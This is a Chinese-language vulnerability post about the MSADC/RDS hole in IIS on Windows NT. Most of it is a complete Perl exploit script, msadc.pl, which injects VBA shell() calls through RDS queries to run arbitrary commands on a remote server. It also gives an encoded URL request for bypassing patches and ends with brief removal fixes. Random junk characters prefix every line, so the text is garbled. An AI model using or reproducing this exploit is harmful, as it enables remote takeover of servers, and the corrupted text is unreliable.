IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
O=^/58(m M5L /3qLh1 涉及程序:
cmU>A721 Microsoft NT server
K_!:oe7% }<*KM)% 描述:
tf[)| /M 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
3Vak
C i4XiwjCHN 详细:
ru4M=D 如果你没有时间读详细内容的话,就删除:
b`F]oQ_* c:\Program Files\Common Files\System\Msadc\msadcs.dll
pbw{EzM 有关的安全问题就没有了。
iq,rS" $dA]GWW5A 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
]b:>7_la 9Hd_sNUu\ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
y*p02\) 关于利用ODBC远程漏洞的描述,请参看:
IIAmx[ b c5:X$k\ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm
T;V!>W37 2(m#WK7>F 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
sz%_9;`dpL http://www.microsoft.com/security/bulletins/MS99-025faq.asp mkl^2V13~ 1I)oT-~ 这里不再论述。
C2\zbC[qm A~ _2" 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
NB+/S ;` m(0X_&&?z /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
!Lw]aHb 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
.8T0OQ4 ]'-y-kqY vo%"(! #将下面这段保存为txt文件,然后: "perl -x 文件名"
IDL0!cF ml /S|`Drk #!perl
7R# }AQ #
HxcL3Bh$~} # MSADC/RDS 'usage' (aka exploit) script
M>}_2G]#F #
m;t&P58f # by rain.forest.puppy
+'nMy"j1 #
1aCpeD4|) # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
q'TIN{\.{ # beta test and find errors!
d`=LZio BRM!g9 use Socket; use Getopt::Std;
W|y;Kxy getopts("e:vd:h:XR", \%args);
D2=zrU3Y64 b};o: print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Rd|8=`) OHrzN'] if (!defined $args{h} && !defined $args{R}) {
z,4 D'F& print qq~
oR/_{#Mz" Usage: msadc.pl -h <host> { -d <delay> -X -v }
\ Ce*5h -h <host> = host you want to scan (ip or domain)
}}D32TVN -d <seconds> = delay between calls, default 1 second
wm_rU] -X = dump Index Server path table, if available
[m%]C -v = verbose
y*6/VSRkt4 -e = external dictionary file for step 5
iRbe$v&N *>1^q9M Or a -R will resume a command session
0/9]TIc ivyaGAF}+o ~; exit;}
QodWUbi'& YPf? $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
`b%lojT. if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
R<(xWH if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
4 Tw~4b if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
>[;=c0( $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
$*T?}r> if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
>P&1or)e% r a>2< if (!defined $args{R}){ $ret = &has_msadc;
.{} 8mFi1 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
P;mp)1C Bv'%$}}- print "Please type the NT commandline you want to run (cmd /c assumed):\n"
RZ;s_16GQ . "cmd /c ";
Poa&htxe1 $in=<STDIN>; chomp $in;
S!+>{JyQ $command="cmd /c " . $in ;
y@It#!u0 o]<9wc:FZ
if (defined $args{R}) {&load; exit;}
/
*PHX@ bLAHVi<. print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
2#r4dr0 &try_btcustmr;
,?k1if(0[ ,v,rY' print "\nStep 2: Trying to make our own DSN...";
_53~D= &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
mt`CQz"_ RHMXPsj print "\nStep 3: Trying known DSNs...";
RjVmHhX &known_dsn;
|_>^vW1f XmwAYf print "\nStep 4: Trying known .mdbs...";
u3GBAjPsIk &known_mdb;
D79:L: "WUS?Q if (defined $args{e}){
G\TO]c print "\nStep 5: Trying dictionary of DSN names...";
%^vT7c> &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
6a9$VGInU ]JV'z< print "Sorry Charley...maybe next time?\n";
]bY]YNt{7] exit;
$Ery&rX. ovBmo2W/ ##############################################################################
H;l_;c` -Ou.C7ol sub sendraw { # ripped and modded from whisker
r$}C<a[U sleep($delay); # it's a DoS on the server! At least on mine...
8W?dWj my ($pstr)=@_;
7t:tS7{} socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
oPM*VTMA die("Socket problems\n");
13`Mt1R if(connect(S,pack "SnA4x8",2,80,$target)){
G{E`5KIvm select(S); $|=1;
Zd-6_,r print $pstr; my @in=<S>;
l-l7jq]R select(STDOUT); close(S);
V3cKbk7~ return @in;
x|(pmqIH+ } else { die("Can't connect...\n"); }}
\ "$$c OTdijQLY ##############################################################################
AyOibnoZ2E s&(; sub make_header { # make the HTTP request
y,3ZdY" my $msadc=<<EOT
kuV7nsXiQ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
``Q6R2[|) User-Agent: ACTIVEDATA
fyA-*)oHv Host: $ip
kMMgY? Content-Length: $clen
}Mt1C~{( Connection: Keep-Alive
7K:V<vX5 C5,fX-2Q ADCClientVersion:01.06
\'4~@ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
bAGKi. Cul=,;pkB --!ADM!ROX!YOUR!WORLD!
q*3keB;X Content-Type: application/x-varg
;ryNfP% Content-Length: $reqlen
!NkCki"W $t(v `, EOT
'.(Gg%*\. ; $msadc=~s/\n/\r\n/g;
h%Nd89// return $msadc;}
,7]hjf_h Bhd)# P ##############################################################################
-` U|5 EZ]4cd/i sub make_req { # make the RDS request
)J}v.8 my ($switch, $p1, $p2)=@_;
U5OX.0 my $req=""; my $t1, $t2, $query, $dsn;
9ziFjP+1 <78|~SKAV if ($switch==1){ # this is the btcustmr.mdb query
bYnq,JRA $query="Select * from Customers where City=" . make_shell();
$2?AJ/2r$b $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
E)gD"^rex $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
R=lw}jH [Z 7MLLx#U elsif ($switch==2){ # this is general make table query
'#V@a $query="create table AZZ (B int, C varchar(10))";
[ 49Cvde^ $dsn="$p1";}
7RL J YcN|L&R. elsif ($switch==3){ # this is general exploit table query
)ffaOS!\ $query="select * from AZZ where C=" . make_shell();
7|DG1p9C $dsn="$p1";}
v{VF>qEP
j)?M elsif ($switch==4){ # attempt to hork file info from index server
ehr-o7]( $query="select path from scope()";
{E:` $dsn="Provider=MSIDXS;";}
gM\>{ihM' D=TS IJ@ elsif ($switch==5){ # bad query
SG&,o=I$ $query="select";
Og/aTR<;= $dsn="$p1";}
$`E?=L`$ %
/VCjuV $t1= make_unicode($query);
:*M?RL@j $t2= make_unicode($dsn);
d-D,Gx]>$ $req = "\x02\x00\x03\x00";
yx :^*/ $req.= "\x08\x00" . pack ("S1", length($t1));
fY[Fwjj3 $req.= "\x00\x00" . $t1 ;
1^![8>u" $req.= "\x08\x00" . pack ("S1", length($t2));
^w60AqR8 $req.= "\x00\x00" . $t2 ;
HcsVq+ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
j|k/&q[St return $req;}
s)a-ky( 6]?mjG6 ##############################################################################
3' i6<
E1eGZ&&Gd sub make_shell { # this makes the shell() statement
wtY)(ka return "'|shell(\"$command\")|'";}
sFTAE1| tQ|c.`)W ##############################################################################
olE(#}7V u
]e-IYH sub make_unicode { # quick little function to convert to unicode
YsVmU my ($in)=@_; my $out;
](w)e
p~;3 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
XB7Aa) return $out;}
lFnls6dp b&:v6#i ##############################################################################
_x,X0ncv]@ d_yvG.#C sub rdo_success { # checks for RDO return success (this is kludge)
aDF@AS my (@in) = @_; my $base=content_start(@in);
@:C)^f" if($in[$base]=~/multipart\/mixed/){
:>0ywg return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Lq2Q:w' return 0;}
e= IdqkJ% $[>{s9E ##############################################################################
&<VU}c^! gjDNl/r/
sub make_dsn { # this makes a DSN for us
MA`nFkVK my @drives=("c","d","e","f");
eiKY az print "\nMaking DSN: ";
'Qy6m'esW foreach $drive (@drives) {
A@}5'LzL print "$drive: ";
J\L'HIs my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
%Jt35j@Ee "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
yE8D^M|g . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
!kovrvM6F $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
ba|xf@=& return 0 if $2 eq "404"; # not found/doesn't exist
K81X32Lm' if($2 eq "200") {
d`^3fr'.4A foreach $line (@results) {
J:@gmo`M;V return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
;llPM`) } return 0;}
J3eud}w 23gN;eD+m6 ##############################################################################
FEjO}lTK 1<r!9x9G sub verify_exists {
V~*Gk! +f my ($page)=@_;
l=CAr my @results=sendraw("GET $page HTTP/1.0\n\n");
dk|LC-]`A return $results[0];}
72dRp!JU 7;EDU ##############################################################################
@]l|-xGCWn * ,aF-
sub try_btcustmr {
Q,3kaR@O my @drives=("c","d","e","f");
~
WWhCRq my @dirs=("winnt","winnt35","winnt351","win","windows");
wQ+pVu?6_ rl|'.~mc foreach $dir (@dirs) {
yYP_TuNa print "$dir -> "; # fun status so you can see progress
D
S U`(` foreach $drive (@drives) {
[bhKL5l print "$drive: "; # ditto
#
e?B $reqlen=length( make_req(1,$drive,$dir) ) - 28;
f24W*#IX $reqlenlen=length( "$reqlen" );
q/EX`%U $clen= 206 + $reqlenlen + $reqlen;
]-\68b N Z/ q6Q# my @results=sendraw(make_header() . make_req(1,$drive,$dir));
yB UQ!4e if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
YSP\+ZZ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
]Dq6XR n
_K1% ##############################################################################
d{S'6*`D Tb i?AJa} sub odbc_error {
YV.' L my (@in)=@_; my $base;
`K{} my $base = content_start(@in);
Z@zo~*o if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
EF)BezG5y $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
D6bYg ` $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
R-Edht|{ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
syl7i>P return $in[$base+4].$in[$base+5].$in[$base+6];}
wA5Iz{uQO print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
w-K A~ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
*tqD:hiF $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
X:i?gRy" cW%)C.M ##############################################################################
IC
cr cGV%=N^BE< sub verbose {
KQfWpHwfj my ($in)=@_;
,Cr%2Wg- return if !$verbose;
&>jz[3 print STDOUT "\n$in\n";}
Q!l(2nva Y$JVxly ##############################################################################
8_%GH}{ AG,><UP sub save {
"'v+*H 3 my ($p1, $p2, $p3, $p4)=@_;
s<YN*~ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Lf9hOMHx print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Ey=2zo^F close OUT;}
f;'*(( *u+DAg'& ##############################################################################
Bp^LLH _lv{ 8vf1B sub load {
z*},N$2= my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
fpf]qQ
W~7 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
u"0{)
, @p=<IN>; close(IN);
al[^pPKZ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
i@rtt
M $target= inet_aton($ip) || die("inet_aton problems");
Mq0MtC6- print "Resuming to $ip ...";
._rPM>B? $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Qder8I if($p[1]==1) {
mx9vjWfy $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
s@Q7F{z $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
p"0#G&- my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
c,1 G+. if (rdo_success(@results)){print "Success!\n";}
}b2YX+/e$f else { print "failed\n"; verbose(odbc_error(@results));}}
0nt@}\j elsif ($p[1]==3){
DtANb^ if(run_query("$p[3]")){
!>9s print "Success!\n";} else { print "failed\n"; }}
pT,8E(*l2 elsif ($p[1]==4){
9nAP%MA` if(run_query($drvst . "$p[3]")){
NJBSVCb print "Success!\n"; } else { print "failed\n"; }}
irlFB#.. exit;}
n-9xfn0U~# XM\\Imw ##############################################################################
>w.;A%|N (G|!{ sub create_table {
}TTghE! my ($in)=@_;
<+*0{8?0
$reqlen=length( make_req(2,$in,"") ) - 28;
y(|#!m?@ $reqlenlen=length( "$reqlen" );
3q%z $clen= 206 + $reqlenlen + $reqlen;
nD5wN~[J my @results=sendraw(make_header() . make_req(2,$in,""));
@r GY9%E return 1 if rdo_success(@results);
&2W"4SE]6 my $temp= odbc_error(@results); verbose($temp);
V?EX`2S return 1 if $temp=~/Table 'AZZ' already exists/;
DdR0u0JH0 return 0;}
QT c{7& ]wid;< ##############################################################################
kZ5#a)U< \c\~k0u sub known_dsn {
iy~h|YK; # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
v]SxZLa my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
)WoH>D "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
ST{Vi';} "banner", "banners", "ads", "ADCDemo", "ADCTest");
a_Xwi:e< .=eEuH foreach $dSn (@dsns) {
WOn53|GQK print ".";
}ktIG|GC next if (!is_access("DSN=$dSn"));
6w<rSU d' if(create_table("DSN=$dSn")){
6k hBT'n print "$dSn successful\n";
1hw.gn*JK> if(run_query("DSN=$dSn")){
N}#Rw2Vl print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
JU)^b
V_ print "Something's borked. Use verbose next time\n";}}} print "\n";}
LuySa2, z|Y54o3 ##############################################################################
=w3A{h"^ .2%t3ul[ sub is_access {
=AO
( my ($in)=@_;
O|t>.<T? $reqlen=length( make_req(5,$in,"") ) - 28;
IR${a) $reqlenlen=length( "$reqlen" );
1J[$f>%n] $clen= 206 + $reqlenlen + $reqlen;
$I9&cNPv my @results=sendraw(make_header() . make_req(5,$in,""));
LAC&W;pJ" my $temp= odbc_error(@results);
!yv>e7g^ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
;O7"!\ return 0;}
v*V(hMy Z]Bv ##############################################################################
P^OmJ;""D W.^zN' a sub run_query {
#ZJ 1\Ov my ($in)=@_;
>N#Nz
0|( $reqlen=length( make_req(3,$in,"") ) - 28;
{@2+oOuYfN $reqlenlen=length( "$reqlen" );
MFROAVPZ5 $clen= 206 + $reqlenlen + $reqlen;
#e@NV4q my @results=sendraw(make_header() . make_req(3,$in,""));
:a{dWgN return 1 if rdo_success(@results);
_;3, my $temp= odbc_error(@results); verbose($temp);
K/zb6=-> return 0;}
zr!7*,
p 93*d:W8Vr ##############################################################################
G_1r&[N3 dU3A:uS^ sub known_mdb {
?7fqWlB my @drives=("c","d","e","f","g");
4~Qnhv7 my @dirs=("winnt","winnt35","winnt351","win","windows");
y#a,d||N1 my $dir, $drive, $mdb;
;i[JCNiS\ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
2-@)'6"n z%E(o%l8 # this is sparse, because I don't know of many
Tw';;euw my @sysmdbs=( "\\catroot\\icatalog.mdb",
KKsVZ~<6u "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
^N^G?{EV/# "\\system32\\certmdb.mdb",
MiZ<v/L2 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
ow'G&<0b HrE, K\^ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
RNc:qV<H "\\cfusion\\cfapps\\forums\\forums_.mdb",
7G+!9^ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
S*<J y(:n "\\cfusion\\cfapps\\security\\realm_.mdb",
,a&,R*r@& "\\cfusion\\cfapps\\security\\data\\realm.mdb",
+(=-95qZ "\\cfusion\\database\\cfexamples.mdb",
85!]NF "\\cfusion\\database\\cfsnippets.mdb",
7RDmvWd-'? "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
f$FO 1B) "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
~R[ k^i.Y "\\cfusion\\brighttiger\\database\\cleam.mdb",
l)\Q~^cxd "\\cfusion\\database\\smpolicy.mdb",
=Xvm#/ "\\cfusion\\database\cypress.mdb",
+d#8/S* "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
,Vq$>T@z "\\website\\cgi-win\\dbsample.mdb",
vu)EB!%[ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
{Fwvuk "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
F^/KD<cgK ); #these are just
^B1Ft5F`b foreach $drive (@drives) {
i!%WEHPe foreach $dir (@dirs){
|@_<^cV110 foreach $mdb (@sysmdbs) {
ng/h6
S print ".";
Q~(Qh_Ff if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
7C'@g)@^/ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
__eB 7]#E if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
wb9(aS4 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
dDA8IW![S } else { print "Something's borked. Use verbose next time\n"; }}}}}
4L,wBce;,t - BWf. foreach $drive (@drives) {
)Wle
CS_ foreach $mdb (@mdbs) {
R]yce2w" z print ".";
kxKb}>= if(create_table($drv . $drive . $dir . $mdb)){
2FZT print "\n" . $drive . $dir . $mdb . " successful\n";
S!PG7hK2 if(run_query($drv . $drive . $dir . $mdb)){
v@]SddP,? print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
>TglX t+ } else { print "Something's borked. Use verbose next time\n"; }}}}
Fm:Ys]( }
@U!&XZ]h %~:\f#6 ##############################################################################
h[u@UGK% WyOav6/*K^ sub hork_idx {
1n<4yfJ print "\nAttempting to dump Index Server tables...\n";
8o+:|V~X print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
hdWV vN $reqlen=length( make_req(4,"","") ) - 28;
K6-)l
isf $reqlenlen=length( "$reqlen" );
<lR:^M[v5< $clen= 206 + $reqlenlen + $reqlen;
{J)%6eL? my @results=sendraw2(make_header() . make_req(4,"",""));
2OpA1$n6 if (rdo_success(@results)){
sSfP.R my $max=@results; my $c; my %d;
L~f~XgQ for($c=19; $c<$max; $c++){
7 q!==P= $results[$c]=~s/\x00//g;
$(gL#"T $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
7zx
xO|p[ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
d`TiY` ! $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
P>rRD`Yy\ $d{"$1$2"}="";}
g^H,EaPl foreach $c (keys %d){ print "$c\n"; }
ujnT B*Cqc } else {print "Index server doesn't seem to be installed.\n"; }}
I(AlRh ?,x\46]>_K ##############################################################################
~]?sA{ SW%}S*h sub dsn_dict {
5 eL
b/,R open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Y2tVq})! while(<IN>){
QuEX|h,F $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
c*B< -
l<5 next if (!is_access("DSN=$dSn"));
mS[``$Z\! if(create_table("DSN=$dSn")){
#lMcAYH, print "$dSn successful\n";
;`^_9
K if(run_query("DSN=$dSn")){
x2t&Wpvt print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
g%Tokl print "Something's borked. Use verbose next time\n";}}}
S`YT"|~ print "\n"; close(IN);}
I!?Xq wbJBGT{sm ##############################################################################
HI{q# F?tWx+N<{ sub sendraw2 { # ripped and modded from whisker
q6rkp f,Tl sleep($delay); # it's a DoS on the server! At least on mine...
JwxKWVpWv my ($pstr)=@_;
2~\SUGW- socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
a T(] die("Socket problems\n");
r'y Nc&~ if(connect(S,pack "SnA4x8",2,80,$target)){
UUDHknm" print "Connected. Getting data";
ECi;o1hda open(OUT,">raw.out"); my @in;
7w2$?k',- select(S); $|=1; print $pstr;
V-7l+C5 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
uvJHkAi close(OUT); select(STDOUT); close(S); return @in;
~tWh6-:|{J } else { die("Can't connect...\n"); }}
c_ncx|dUs xDU\mfeGj ##############################################################################
?7V~>i8[ 9#7W+9 sub content_start { # this will take in the server headers
yYGs]+ my (@in)=@_; my $c;
$ c-O+~ for ($c=1;$c<500;$c++) {
z/"*-+j if($in[$c] =~/^\x0d\x0a/){
\,Ws=9f if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
O$r/{{I. else { return $c+1; }}}
n=4 return -1;} # it should never get here actually
FS=yc.Q_ xi{r-D8Z ##############################################################################
niCK(&z 2DPv7\fW sub funky {
RHBQgD$ my (@in)=@_; my $error=odbc_error(@in);
&-qQF`7 if($error=~/ADO could not find the specified provider/){
$%cHplQz5 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
i,^3aZwJ' exit;}
6\I^]\YO if($error=~/A Handler is required/){
$adZ|Q\ print "\nServer has custom handler filters (they most likely are patched)\n";
B(1-u!pz exit;}
@Q,Q"c2 if($error=~/specified Handler has denied Access/){
O!nS3%De print "\nServer has custom handler filters (they most likely are patched)\n";
`XH0S`B exit;}}
Z" ;q w L(C`<iE&3 ##############################################################################
;AJQ2 8Yk*$RR9 sub has_msadc {
U!-Nx9 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
E \DA3lq my $base=content_start(@results);
d/yF}%0QI return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
NjZ~b/ return 0;}
^wWbW&<Tg O=+$XPa| ########################
L$3 lsu!4n ?-:2f#bC 11"r FZ 解决方案:
q 0F6MAXj 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
fWq*Op.]c 2、移除web 目录: /msadc